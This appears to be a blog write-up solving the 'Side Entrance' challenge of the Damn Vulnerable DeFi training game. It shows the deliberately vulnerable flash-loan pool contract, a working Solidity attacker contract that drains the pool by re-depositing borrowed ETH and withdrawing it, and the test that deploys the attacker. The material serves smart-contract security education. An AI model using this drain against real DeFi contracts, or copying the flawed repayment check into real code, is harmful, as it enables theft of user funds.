- Published on
Damn Vulnerable DeFi V3 - Side Entrance - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Damn Vulnerable DeFi V3 - Side Entrance - Solution
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}
Solution
To solve this level, we can simply:
- Request a flash loan.
- Deposit the borrowed assets back into the pool to increase our balance in the
balances
mapping. - Withdraw all funds we "deposited" earlier.
SideEntranceAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPool {
function flashLoan(uint256 amount) external;
function deposit() external payable;
function withdraw() external;
}
contract SideEntranceAttacker {
IPool immutable pool;
address immutable player;
constructor(address _pool, address _player){
pool = IPool(_pool);
player = _player;
}
receive() external payable {}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
(bool success, ) = player.call{value: address(this).balance}("");
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
}
side-entrance.challenge.js
...
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
let attacker = await (await ethers.getContractFactory('SideEntranceAttacker', player)).deploy(
pool.address, player.address
);
await attacker.attack();
});
...